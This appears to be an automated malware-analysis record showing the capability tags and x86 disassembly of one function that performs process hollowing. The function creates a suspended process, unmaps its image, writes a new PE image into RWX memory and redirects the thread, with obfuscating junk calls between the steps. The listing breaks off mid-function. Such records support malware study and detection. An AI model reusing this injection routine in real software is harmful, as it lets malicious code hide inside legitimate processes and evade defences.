Function at 0x418170
Capabilities:
Create process on windows
Create process suspended
Parse pe header
Resume thread
Set registry value
Use process replacement

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x6c
push 0
push 0
dec ecx
jne 0x418178
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040493c
mov ebx, 0x43f384
xor eax, eax
push ebp
push 0x419cb6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x419cd0
push dword [ebx]
push 0x419cdc
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0xc]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 8]
call fcn.004046a4
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x14]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x14]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.004046a4
mov eax, dword [ebp - 0x10]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x1c]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x18]
call fcn.004046a4
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x24]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x20]
call fcn.004046a4
mov eax, dword [ebp - 0x20]
pop edx
call fcn.00417df4
xor edi, edi
mov dword [0x43f4cc], esi
mov eax, dword [0x43f4cc]
cmp word [eax], 0x5a4d
jne 0x419c4b
push 0x419cd0
push dword [ebx]
push 0x419d04
lea eax, [ebp - 0x2c]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x2c]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x28]
call fcn.004046a4
mov eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x34]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x34]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x30]
call fcn.004046a4
mov eax, dword [ebp - 0x30]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x3c]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x3c]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x38]
call fcn.004046a4
mov eax, dword [ebp - 0x38]
push eax
lea eax, [ebp - 0x44]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x44]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x40]
call fcn.004046a4
mov eax, dword [ebp - 0x40]
pop edx
call fcn.00417df4
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, dword [0x43f4cc]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [0x43f4d0], eax
mov eax, dword [0x43f4d0]
cmp dword [eax], 0x4550
jne 0x419c4b
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x4c]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x4c]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x48]
call fcn.004046a4
mov eax, dword [ebp - 0x48]
push eax
lea eax, [ebp - 0x54]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x54]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x50]
call fcn.004046a4
mov eax, dword [ebp - 0x50]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x5c]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x5c]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x58]
call fcn.004046a4
mov eax, dword [ebp - 0x58]
push eax
lea eax, [ebp - 0x64]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x64]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x60]
call fcn.004046a4
mov eax, dword [ebp - 0x60]
pop edx
call fcn.00417df4
mov eax, 0x43f3bc
xor ecx, ecx
mov edx, 0x44
call fcn.004030d4
mov eax, 0x43f3ac
xor ecx, ecx
mov edx, 0x10
call fcn.004030d4
mov dword [0x43f3bc], 0x44
push 0x419cd0
push dword [ebx]
push 0x419d28
lea eax, [ebp - 0x6c]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x6c]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x68]
call fcn.004046a4
mov eax, dword [ebp - 0x68]
push eax
lea eax, [ebp - 0x74]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x74]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x70]
call fcn.004046a4
mov eax, dword [ebp - 0x70]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d04
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x7c]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x78]
call fcn.004046a4
mov eax, dword [ebp - 0x78]
push eax
lea eax, [ebp - 0x84]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x84]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x80]
call fcn.004046a4
mov eax, dword [ebp - 0x80]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d40
lea eax, [ebp - 0x8c]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x8c]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x88]
call fcn.004046a4
mov eax, dword [ebp - 0x88]
push eax
lea eax, [ebp - 0x94]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x94]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x90]
call fcn.004046a4
mov eax, dword [ebp - 0x90]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x9c]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x9c]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x98]
call fcn.004046a4
mov eax, dword [ebp - 0x98]
push eax
lea eax, [ebp - 0xa4]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0xa4]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0xa0]
call fcn.004046a4
mov eax, dword [ebp - 0xa0]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419cdc
lea eax, [ebp - 0xac]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0xac]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0xa8]
call fcn.004046a4
mov eax, dword [ebp - 0xa8]
push eax
lea eax, [ebp - 0xb4]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0xb4]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0xb0]
call fcn.004046a4
mov eax, dword [ebp - 0xb0]
pop edx
call fcn.00417df4
push 0x43f3ac
push 0x43f3bc
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp - 0xb8]
mov edx, dword [ebp - 4]
call fcn.00404d8c
mov eax, dword [ebp - 0xb8]
call fcn.00404d9c
push eax
push 0
mov eax, dword [0x43f38c]
push eax
call sub.advapi32.dll_CreateProcessAsUserW
test eax, eax
je 0x4186e8
push 0x419cd0
push dword [ebx]
push 0x419cdc
lea eax, [ebp - 0xc0]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0xc0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0xbc]
call fcn.004046a4
mov eax, dword [ebp - 0xbc]
push eax
lea eax, [ebp - 0xc8]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0xc8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0xc4]
call fcn.004046a4
mov eax, dword [ebp - 0xc4]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0xd0]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0xd0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0xcc]
call fcn.004046a4
mov eax, dword [ebp - 0xcc]
push eax
lea eax, [ebp - 0xd8]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0xd8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0xd4]
call fcn.004046a4
mov eax, dword [ebp - 0xd4]
pop edx
call fcn.00417df4
lea eax, [ebp - 0xdc]
mov edx, 0x419d4c
call fcn.004046a4
mov eax, dword [ebp - 0xdc]
push eax
lea eax, [ebp - 0xe0]
mov edx, 0x419d64
call fcn.004046a4
mov eax, dword [ebp - 0xe0]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d28
lea eax, [ebp - 0xe8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0xe8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0xe4]
call fcn.004046a4
mov eax, dword [ebp - 0xe4]
push eax
lea eax, [ebp - 0xf0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0xf0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0xec]
call fcn.004046a4
mov eax, dword [ebp - 0xec]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0xf8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0xf8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0xf4]
call fcn.004046a4
mov eax, dword [ebp - 0xf4]
push eax
lea eax, [ebp - 0x100]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x100]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0xfc]
call fcn.004046a4
mov eax, dword [ebp - 0xfc]
pop edx
call fcn.00417df4
call fcn.00402ee0
mov eax, 4
call fcn.00402f08
add eax, 3
imul eax, eax, 0x5f5e100
mov dword [0x43f4ec], eax
mov eax, dword [0x43f4d0]
mov edx, dword [0x43f4ec]
sub edx, dword [eax + 0x50]
mov dword [0x43f4e8], edx
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x108]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x108]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x104]
call fcn.004046a4
mov eax, dword [ebp - 0x104]
push eax
lea eax, [ebp - 0x110]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x110]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x10c]
call fcn.004046a4
mov eax, dword [ebp - 0x10c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d28
lea eax, [ebp - 0x118]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x118]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x114]
call fcn.004046a4
mov eax, dword [ebp - 0x114]
push eax
lea eax, [ebp - 0x120]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x120]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x11c]
call fcn.004046a4
mov eax, dword [ebp - 0x11c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x128]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x128]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x124]
call fcn.004046a4
mov eax, dword [ebp - 0x124]
push eax
lea eax, [ebp - 0x130]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x130]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x12c]
call fcn.004046a4
mov eax, dword [ebp - 0x12c]
pop edx
call fcn.00417df4
mov dword [0x43f400], 0x10007
push 0x43f400
mov eax, dword [0x43f3b0]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x419c4b
push 0x419cd0
push dword [ebx]
push 0x419d28
lea eax, [ebp - 0x138]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x138]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x134]
call fcn.004046a4
mov eax, dword [ebp - 0x134]
push eax
lea eax, [ebp - 0x140]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x140]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x13c]
call fcn.004046a4
mov eax, dword [ebp - 0x13c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d04
lea eax, [ebp - 0x148]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x148]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x144]
call fcn.004046a4
mov eax, dword [ebp - 0x144]
push eax
lea eax, [ebp - 0x150]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x150]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x14c]
call fcn.004046a4
mov eax, dword [ebp - 0x14c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d40
lea eax, [ebp - 0x158]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x158]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x154]
call fcn.004046a4
mov eax, dword [ebp - 0x154]
push eax
lea eax, [ebp - 0x160]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x160]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x15c]
call fcn.004046a4
mov eax, dword [ebp - 0x15c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x168]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x164]
call fcn.004046a4
mov eax, dword [ebp - 0x164]
push eax
lea eax, [ebp - 0x170]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x170]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x16c]
call fcn.004046a4
mov eax, dword [ebp - 0x16c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x178]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x178]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x174]
call fcn.004046a4
mov eax, dword [ebp - 0x174]
push eax
lea eax, [ebp - 0x180]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x180]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x17c]
call fcn.004046a4
mov eax, dword [ebp - 0x17c]
pop edx
call fcn.00417df4
push 0x43f4dc
push 4
push 0x43f4d4
mov eax, dword [0x43f4a4]
add eax, 8
push eax
mov eax, dword [0x43f3ac]
push eax
call sub.C:WindowsSystem32_ntdll.dll_NtReadVirtualMemory
mov eax, dword [0x43f4d0]
mov eax, dword [eax + 0x34]
cmp eax, dword [0x43f4d4]
jne 0x418f84
push 0x419cd0
push dword [ebx]
push 0x419d40
lea eax, [ebp - 0x188]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x188]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x184]
call fcn.004046a4
mov eax, dword [ebp - 0x184]
push eax
lea eax, [ebp - 0x190]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x190]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x18c]
call fcn.004046a4
mov eax, dword [ebp - 0x18c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x198]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x198]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x194]
call fcn.004046a4
mov eax, dword [ebp - 0x194]
push eax
lea eax, [ebp - 0x1a0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x1a0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x19c]
call fcn.004046a4
mov eax, dword [ebp - 0x19c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x1a8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x1a8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1a4]
call fcn.004046a4
mov eax, dword [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x1b0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x1b0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1ac]
call fcn.004046a4
mov eax, dword [ebp - 0x1ac]
pop edx
call fcn.00417df4
mov eax, dword [0x43f4d0]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [0x43f3ac]
push eax
call sub.ntdll_NtUnmapViewOfSection
test eax, eax
jne 0x418e10
push 0x40
push 0x3000
mov eax, dword [0x43f4e8]
push eax
mov eax, dword [0x43f4d0]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [0x43f3ac]
push eax
call fcn.00417924
mov dword [0x43f4d8], eax
jmp 0x418e81
push 0x419cd0
push dword [ebx]
push 0x419d28
lea eax, [ebp - 0x1b8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x1b8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1b4]
call fcn.004046a4
mov eax, dword [ebp - 0x1b4]
push eax
lea eax, [ebp - 0x1c0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x1c0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1bc]
call fcn.004046a4
mov eax, dword [ebp - 0x1bc]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d04
lea eax, [ebp - 0x1c8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x1c8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1c4]
call fcn.004046a4
mov eax, dword [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x1d0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x1d0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1cc]
call fcn.004046a4
mov eax, dword [ebp - 0x1cc]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x1d8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x1d8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1d4]
call fcn.004046a4
mov eax, dword [ebp - 0x1d4]
push eax
lea eax, [ebp - 0x1e0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x1e0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1dc]
call fcn.004046a4
mov eax, dword [ebp - 0x1dc]
pop edx
call fcn.00417df4
push 0x40
push 0x3000
mov eax, dword [0x43f4e8]
push eax
push 0
mov eax, dword [0x43f3ac]
push eax
call fcn.00417924
mov dword [0x43f4d8], eax
jmp 0x418ff5
push 0x419cd0
push dword [ebx]
push 0x419d28
lea eax, [ebp - 0x1e8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x1e8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1e4]
call fcn.004046a4
mov eax, dword [ebp - 0x1e4]
push eax
lea eax, [ebp - 0x1f0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x1f0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1ec]
call fcn.004046a4
mov eax, dword [ebp - 0x1ec]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d04
lea eax, [ebp - 0x1f8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x1f8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1f4]
call fcn.004046a4
mov eax, dword [ebp - 0x1f4]
push eax
lea eax, [ebp - 0x200]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x200]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x1fc]
call fcn.004046a4
mov eax, dword [ebp - 0x1fc]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d40
lea eax, [ebp - 0x208]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x208]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x204]
call fcn.004046a4
mov eax, dword [ebp - 0x204]
push eax
lea eax, [ebp - 0x210]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x210]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x20c]
call fcn.004046a4
mov eax, dword [ebp - 0x20c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x218]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x218]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x214]
call fcn.004046a4
mov eax, dword [ebp - 0x214]
push eax
lea eax, [ebp - 0x220]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x220]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x21c]
call fcn.004046a4
mov eax, dword [ebp - 0x21c]
pop edx
call fcn.00417df4
push 0x40
push 0x3000
mov eax, dword [0x43f4e8]
push eax
mov eax, dword [0x43f4d0]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [0x43f3ac]
push eax
call fcn.00417924
mov dword [0x43f4d8], eax
cmp dword [0x43f4d8], 0
je 0x419c4b
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x228]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x228]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x224]
call fcn.004046a4
mov eax, dword [ebp - 0x224]
push eax
lea eax, [ebp - 0x230]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x230]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x22c]
call fcn.004046a4
mov eax, dword [ebp - 0x22c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x238]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x238]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x234]
call fcn.004046a4
mov eax, dword [ebp - 0x234]
push eax
lea eax, [ebp - 0x240]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x240]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x23c]
call fcn.004046a4
mov eax, dword [ebp - 0x23c]
pop edx
call fcn.00417df4
mov eax, esi
call fcn.00418080
mov esi, eax
mov eax, dword [0x43f4d0]
mov eax, dword [eax + 0x34]
cmp eax, dword [0x43f4d8]
je 0x4192c8
mov eax, dword [0x43f4d0]
mov edx, dword [0x43f4d8]
sub edx, dword [eax + 0x34]
push edx
mov eax, dword [0x43f4d0]
push eax
push esi
call fcn.00417f78
mov eax, dword [0x43f4d0]
mov edx, dword [0x43f4d8]
mov dword [eax + 0x34], edx
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, dword [0x43f4cc]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov ecx, 0xf8
mov edx, dword [0x43f4d0]
call fcn.00417f6c
push 0x419cd0
push dword [ebx]
push 0x419d40
lea eax, [ebp - 0x248]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x248]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x244]
call fcn.004046a4
mov eax, dword [ebp - 0x244]
push eax
lea eax, [ebp - 0x250]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x250]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x24c]
call fcn.004046a4
mov eax, dword [ebp - 0x24c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x258]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x258]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x254]
call fcn.004046a4
mov eax, dword [ebp - 0x254]
push eax
lea eax, [ebp - 0x260]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x260]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x25c]
call fcn.004046a4
mov eax, dword [ebp - 0x25c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x268]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x268]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x264]
call fcn.004046a4
mov eax, dword [ebp - 0x264]
push eax
lea eax, [ebp - 0x270]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x270]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x26c]
call fcn.004046a4
mov eax, dword [ebp - 0x26c]
pop edx
call fcn.00417df4
push 0x43f4dc
mov eax, dword [0x43f4e8]
push eax
push esi
mov eax, dword [0x43f4d8]
push eax
mov eax, dword [0x43f3ac]
push eax
call sub.C:WindowsSystem32_ntdll.dll_NtWriteVirtualMemory
push 0x419cd0
push dword [ebx]
push 0x419d40
lea eax, [ebp - 0x278]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x278]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x274]
call fcn.004046a4
mov eax, dword [ebp - 0x274]
push eax
lea eax, [ebp - 0x280]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x280]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x27c]
call fcn.004046a4
mov eax, dword [ebp - 0x27c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x288]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x288]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x284]
call fcn.004046a4
mov eax, dword [ebp - 0x284]
push eax
lea eax, [ebp - 0x290]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x290]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x28c]
call fcn.004046a4
mov eax, dword [ebp - 0x28c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x298]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x298]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x294]
call fcn.004046a4
mov eax, dword [ebp - 0x294]
push eax
lea eax, [ebp - 0x2a0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x2a0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x29c]
call fcn.004046a4
mov eax, dword [ebp - 0x29c]
pop edx
call fcn.00417df4
push 0x43f4dc
push 4
push 0x43f4d8
mov eax, dword [0x43f4a4]
add eax, 8
push eax
mov eax, dword [0x43f3ac]
push eax
call sub.C:WindowsSystem32_ntdll.dll_NtWriteVirtualMemory
push 0x419cd0
push dword [ebx]
push 0x419d40
lea eax, [ebp - 0x2a8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x2a8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x2a4]
call fcn.004046a4
mov eax, dword [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x2b0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x2b0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x2ac]
call fcn.004046a4
mov eax, dword [ebp - 0x2ac]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x2b8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x2b8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x2b4]
call fcn.004046a4
mov eax, dword [ebp - 0x2b4]
push eax
lea eax, [ebp - 0x2c0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x2c0]
call fcn.0040494c
